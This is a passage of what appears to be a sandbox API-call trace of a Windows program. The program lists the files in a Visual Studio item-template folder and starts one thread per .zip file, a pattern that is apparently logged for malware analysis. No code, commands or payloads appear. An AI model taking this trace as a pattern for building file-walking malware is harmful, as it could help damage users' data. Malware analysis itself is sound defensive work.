nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.256] FindClose (in: hFindFile=0x8da010 | out: hFindFile=0x8da010) returned 1 [0160.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d080) returned 1 [0160.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5298) returned 1 [0160.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4888) returned 1 Thread: id = 4569 os_tid = 0x1fdc [0159.872] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4ba368 [0159.872] wcscpy (in: _Dest=0xd4ba368, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0159.872] wcscat (in: _Dest=0xd4ba368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0159.872] wcscat (in: _Dest=0xd4ba368, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*" [0159.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91def0 [0159.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da010 [0160.258] wcscmp (_String1=".", _String2=".") returned 0 [0160.258] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.258] wcscmp (_String1="..", _String2=".") returned 1 [0160.258] wcscmp (_String1="..", _String2="..") returned 0 [0160.258] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x8b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="AboutBox.zip", cAlternateFileName="")) returned 1 [0160.258] wcscmp (_String1="AboutBox.zip", _String2=".") returned 1 [0160.258] wcscmp (_String1="AboutBox.zip", _String2="..") returned 1 [0160.258] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd2) returned 0x93cf68 [0160.258] wcscpy (in: _Dest=0x93cf68, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0160.258] wcscat (in: _Dest=0x93cf68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0160.258] wcscat (in: _Dest=0x93cf68, _Source="AboutBox.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" [0161.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cf68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f4 [0161.088] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfig.zip", cAlternateFileName="APPCON~1.ZIP")) returned 1 [0161.089] wcscmp (_String1="AppConfig.zip", _String2=".") returned 1 [0161.089] wcscmp (_String1="AppConfig.zip", _String2="..") returned 1 [0161.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x93d4a8 [0161.089] wcscpy (in: _Dest=0x93d4a8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.089] wcscat (in: _Dest=0x93d4a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.089] wcscat (in: _Dest=0x93d4a8, _Source="AppConfig.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" [0161.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0161.090] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigInternal.zip", cAlternateFileName="APPCON~2.ZIP")) returned 1 [0161.090] wcscmp (_String1="AppConfigInternal.zip", _String2=".") returned 1 [0161.090] wcscmp (_String1="AppConfigInternal.zip", _String2="..") returned 1 [0161.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbe18 [0161.090] wcscpy (in: _Dest=0xd4bbe18, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.090] wcscat (in: _Dest=0xd4bbe18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.090] wcscat (in: _Dest=0xd4bbe18, _Source="AppConfigInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" [0161.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0161.091] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfo.zip", cAlternateFileName="ASSEMB~1.ZIP")) returned 1 [0161.091] wcscmp (_String1="AssemblyInfo.zip", _String2=".") returned 1 [0161.091] wcscmp (_String1="AssemblyInfo.zip", _String2="..") returned 1 [0161.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x904980 [0161.091] wcscpy (in: _Dest=0x904980, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.091] wcscat (in: _Dest=0x904980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.091] wcscat (in: _Dest=0x904980, _Source="AssemblyInfo.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" [0161.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x904980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0161.093] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="ASSEMB~2.ZIP")) returned 1 [0161.093] wcscmp (_String1="AssemblyInfoInternal.zip", _String2=".") returned 1 [0161.093] wcscmp (_String1="AssemblyInfoInternal.zip", _String2="..") returned 1 [0161.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x904a68 [0161.093] wcscpy (in: _Dest=0x904a68, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.093] wcscat (in: _Dest=0x904a68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.093] wcscat (in: _Dest=0x904a68, _Source="AssemblyInfoInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" [0161.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x904a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0161.094] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0161.094] wcscmp (_String1="Class.zip", _String2=".") returned 1 [0161.094] wcscmp (_String1="Class.zip", _String2="..") returned 1 [0161.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xcc) returned 0x8dd828 [0161.094] wcscpy (in: _Dest=0x8dd828, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.094] wcscat (in: _Dest=0x8dd828, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.094] wcscat (in: _Dest=0x8dd828, _Source="Class.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" [0161.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248 [0161.095] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f83e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeFile.zip", cAlternateFileName="")) returned 1 [0161.095] wcscmp (_String1="CodeFile.zip", _String2=".") returned 1 [0161.095] wcscmp (_String1="CodeFile.zip", _String2="..") returned 1 [0161.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd2) returned 0x93d588 [0161.095] wcscpy (in: _Dest=0x93d588, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.096] wcscat (in: _Dest=0x93d588, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.096] wcscat (in: _Dest=0x93d588, _Source="CodeFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" [0161.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0161.097] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSet.zip", cAlternateFileName="")) returned 1 [0161.097] wcscmp (_String1="DataSet.zip", _String2=".") returned 1 [0161.097] wcscmp (_String1="DataSet.zip", _String2="..") returned 1 [0161.097] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dd900 [0161.097] wcscpy (in: _Dest=0x8dd900, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.097] wcscat (in: _Dest=0x8dd900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.097] wcscat (in: _Dest=0x8dd900, _Source="DataSet.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" [0161.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0161.098] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="EMPTYD~1.ZIP")) returned 1 [0161.098] wcscmp (_String1="EmptyDatabase.zip", _String2=".") returned 1 [0161.098] wcscmp (_String1="EmptyDatabase.zip", _String2="..") returned 1 [0161.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x8f6bf8 [0161.099] wcscpy (in: _Dest=0x8f6bf8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.099] wcscat (in: _Dest=0x8f6bf8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.099] wcscat (in: _Dest=0x8f6bf8, _Source="EmptyDatabase.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" [0161.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0161.100] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x585, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0161.100] wcscmp (_String1="Form.zip", _String2=".") returned 1 [0161.100] wcscmp (_String1="Form.zip", _String2="..") returned 1 [0161.100] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dcc58 [0161.100] wcscpy (in: _Dest=0x8dcc58, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.100] wcscat (in: _Dest=0x8dcc58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.100] wcscat (in: _Dest=0x8dcc58, _Source="Form.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" [0161.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dcc58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0161.101] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interface.zip", cAlternateFileName="INTERF~1.ZIP")) returned 1 [0161.101] wcscmp (_String1="Interface.zip", _String2=".") returned 1 [0161.101] wcscmp (_String1="Interface.zip", _String2="..") returned 1 [0161.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x93d668 [0161.101] wcscpy (in: _Dest=0x93d668, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0161.101] wcscat (in: _Dest=0x93d668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0161.101] wcscat (in: _Dest=0x93d668, _Source="Interface.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" [0161.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93d668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0161.103] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3719, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="MDIPAR~1.ZIP")) returned 1 [0161.103] wcscmp (_String1="MDIParent.zip", _String2=".") returned 1 [0161.103] wcscmp (_String1="MDIParent.zip", _String2="..") returned 1 [0161.103] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x93d748 [0161.103] wcscpy (in: 